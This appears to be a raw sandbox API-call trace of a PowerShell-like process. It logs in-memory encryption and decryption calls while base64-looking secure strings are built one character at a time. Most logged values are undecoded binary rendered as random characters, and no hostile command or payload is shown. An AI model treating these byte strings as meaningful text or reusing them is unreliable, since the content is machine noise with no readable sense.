0x0 [0232.491] SysStringLen (param_1="pouZVylS5b3VSF/IS垒綮煯\矝⊶) returned 0x18 [0232.491] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.492] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌皾퇑株팶㧉迏譌") returned 0x18 [0232.492] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌皾퇑株팶㧉迏譌") returned 0x18 [0232.492] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.492] SysStringLen (param_1="pouZVylS5b3VSF/IS3垒綮煯\矝⊶) returned 0x18 [0232.492] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.492] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌姒哺쪨ꠖ짠泘뉒骉") returned 0x18 [0232.492] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌姒哺쪨ꠖ짠泘뉒骉") returned 0x18 [0232.492] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.492] SysStringLen (param_1="pouZVylS5b3VSF/IS3i綮煯\矝⊶) returned 0x18 [0232.492] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.492] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌鷆慤䚸㥫\⛚癰屺⊄) returned 0x18 [0232.492] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌鷆慤䚸㥫\⛚癰屺⊄) returned 0x18 [0232.492] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.492] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib煯\矝⊶) returned 0x18 [0232.492] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.493] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ᙅ龡ᣆ㢲崀믷槑") returned 0x18 [0232.493] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ᙅ龡ᣆ㢲崀믷槑") returned 0x18 [0232.493] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.493] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib2煯\矝⊶) returned 0x18 [0232.493] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.493] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌⢸썿㡓떖﨩ⷼ楨䉻") returned 0x18 [0232.493] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌⢸썿㡓떖﨩ⷼ楨䉻") returned 0x18 [0232.493] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.493] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25\矝⊶) returned 0x18 [0232.493] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.493] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌鑱厲䒄Ằ䯚殉") returned 0x18 [0232.493] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌鑱厲䒄Ằ䯚殉") returned 0x18 [0232.493] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.493] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25n뙷") returned 0x18 [0232.493] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.494] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌Ꮁᐚᒓ╷฿苔Ἴ\⋞) returned 0x18 [0232.494] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌Ꮁᐚᒓ╷฿苔Ἴ\⋞) returned 0x18 [0232.494] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.494] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nb") returned 0x18 [0232.494] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.494] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺") returned 0x18 [0232.494] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺") returned 0x18 [0232.494] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺") returned 0x18 [0232.494] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺") returned 0x20 [0232.494] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.495] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbm籐ק닜㤄捘똭菁") returned 0x20 [0232.495] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.495] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺潶ਁ챓赶᫐能鮣") returned 0x20 [0232.495] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺潶ਁ챓赶᫐能鮣") returned 0x20 [0232.495] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.495] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIק닜㤄捘똭菁") returned 0x20 [0232.495] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.495] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺鎗礈躇✢뤅箥న") returned 0x20 [0232.495] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺鎗礈躇✢뤅箥న") returned 0x20 [0232.495] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.495] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIk닜㤄捘똭菁") returned 0x20 [0232.495] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.495] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺練ᅠᰴ\裙ℯ‮ꛪ⊤) returned 0x20 [0232.495] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺練ᅠᰴ\裙ℯ‮ꛪ⊤) returned 0x20 [0232.495] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.496] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkM㤄捘똭菁") returned 0x20 [0232.496] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.496] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺և櫭隕畽瘱啄䍏♶") returned 0x20 [0232.496] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺և櫭隕畽瘱啄䍏♶") returned 0x20 [0232.496] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.496] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp捘똭菁") returned 0x20 [0232.496] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.496] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺륀៬㊒㑑▿园鵻벖") returned 0x20 [0232.496] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺륀៬㊒㑑▿园鵻벖") returned 0x20 [0232.496] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.496] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9똭菁") returned 0x20 [0232.496] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.496] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺쀜갟Ꮺꁥထ冋\⋜) returned 0x20 [0232.496] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺쀜갟Ꮺꁥထ冋\⋜) returned 0x20 [0232.496] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.497] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m菁") returned 0x20 [0232.497] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.497] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺᪕㑠ꂶ珩老響ƽ\⋛) returned 0x20 [0232.497] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺᪕㑠ꂶ珩老響ƽ\⋛) returned 0x20 [0232.497] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.497] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7") returned 0x20 [0232.497] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.497] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ") returned 0x20 [0232.497] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ") returned 0x20 [0232.497] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ") returned 0x20 [0232.497] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ\x02") returned 0x28 [0232.498] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.498] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7t嫮ㄡ䂬徕艮\⋟) returned 0x28 [0232.498] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.498] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ㤎ꤣᮑ뭋㋢ဨꋘ锄") returned 0x28 [0232.498] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ㤎ꤣᮑ뭋㋢ဨꋘ锄") returned 0x28 [0232.498] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.498] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toㄡ䂬徕艮\⋟) returned 0x28 [0232.498] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.498] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ䙌\峘砀昀搀搀㔀缀靨ᝎ≨) returned 0x28 [0232.498] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ䙌\峘砀昀搀搀㔀缀靨ᝎ≨) returned 0x28 [0232.498] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.498] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toBㄡ䂬徕艮\⋟) returned 0x28 [0232.498] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.498] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ\僇祷婪≱) returned 0x28 [0232.499] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ\僇祷婪≱) returned 0x28 [0232.499] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.499] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toB+䂬徕艮\⋟) returned 0x28 [0232.499] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.499] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰᦿ䎺ᐽ䟙姰뚭켼") returned 0x28 [0232.499] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰᦿ䎺ᐽ䟙姰뚭켼") returned 0x28 [0232.499] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.499] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toB+M徕艮\⋟) returned 0x28 [0232.499] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.499] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ犨⋗n\ꋛ೷桳⊚) returned 0x28 [0232.499] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ犨⋗n\ꋛ೷桳⊚) returned 0x28 [0232.499] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.499] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toB+MS艮\⋟) returned 0x28 [0232.499] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.499] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ懀\哜ኟ⦽⥗쑁∻) returned 0x28 [0232.499] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ懀\哜ኟ⦽⥗쑁∻) returned 0x28 [0232.500] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.500] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toB+MS0\⋟) returned 0x28 [0232.500] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.500] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ꺝壣잔橰Ⓓ﬿ꥳ") returned 0x28 [0232.500] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ꺝壣잔橰Ⓓ﬿ꥳ") returned 0x28 [0232.500] SystemFunction041 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.500] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toB+MS0K") returned 0x28 [0232.500] SystemFunction040 (in: Memory=0x5c9aaa4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aaa4) returned 0x0 [0232.500] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸") returned 0x28 [0232.500] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸") returned 0x28 [0232.500] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸") returned 0x28 [0232.500] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸") returned 0x30 [0232.501] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0232.501] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toB+MS0KH驣㸄᮫찵﫣㩦") returned 0x30 [0232.501] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0232.501] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸䆍㍊뵵頵갽↿⏆鵶") returned 0x30 [0232.501] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸䆍㍊뵵頵갽↿⏆鵶") returned 0x30 [0232.501] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0232.501] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toB+MS0KHw㸄᮫찵﫣㩦") returned 0x30 [0232.501] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0232.501] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸Ǘ숅䲀谆腗ᩝ숭") returned 0x30 [0232.501] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸Ǘ숅䲀谆腗ᩝ숭") returned 0x30 [0232.501] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0232.501] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toB+MS0KHwg᮫찵﫣㩦") returned 0x30 [0232.501] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0232.502] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸浏婂側蘆뒙睡昂䖰") returned 0x30 [0232.502] SysStringLen (param_1="䀷큮㨒灤櫬遲퍡⏂陣퇺⃻읠把윐깈筌ꦈ䓅犎ࠒ닫픧앞仺놐㸐묽햋ꥰ豭ꋶ䥭ꅥ䟚䲜䤕㸸浏婂側蘆뒙睡昂䖰") returned 0x30 [0232.502] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0232.502] SysStringLen (param_1="pouZVylS5b3VSF/IS3ib25nbmIkMp9m7toB+MS0KHwg=찵﫣㩦") returned 0x30 [0232.564] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0232.564] EtwEventActivityIdControl () returned 0x0 [0232.564] EtwEventActivityIdControl () returned 0x0 [0232.564] EtwEventActivityIdControl () returned 0x0 [0232.565] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.565] EtwEventActivityIdControl () returned 0x0 [0232.565] EtwEventActivityIdControl () returned 0x0 [0232.565] EtwEventActivityIdControl () returned 0x0 [0232.566] SysStringLen (param_1="") returned 0x8 [0232.566] SysStringLen (param_1="N") returned 0x8 [0232.566] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.566] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0232.566] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0232.566] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.566] SysStringLen (param_1="ND") returned 0x8 [0232.566] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.566] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0232.566] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0232.566] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.566] SysStringLen (param_1="NDZ") returned 0x8 [0232.566] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.567] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0232.567] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0232.567] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.567] SysStringLen (param_1="NDZl") returned 0x8 [0232.567] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.567] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0232.567] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0232.567] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.567] SysStringLen (param_1="NDZlO") returned 0x8 [0232.567] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.567] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0232.567] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0232.567] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.567] SysStringLen (param_1="NDZlOD") returned 0x8 [0232.567] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.568] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0232.568] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0232.568] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.568] SysStringLen (param_1="NDZlODR") returned 0x8 [0232.568] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.568] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0232.568] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0232.568] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.568] SysStringLen (param_1="NDZlODRm") returned 0x8 [0232.568] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0232.568] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0232.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0232.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0232.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0232.569] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.569] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0232.569] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0232.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0232.569] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0232.569] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: 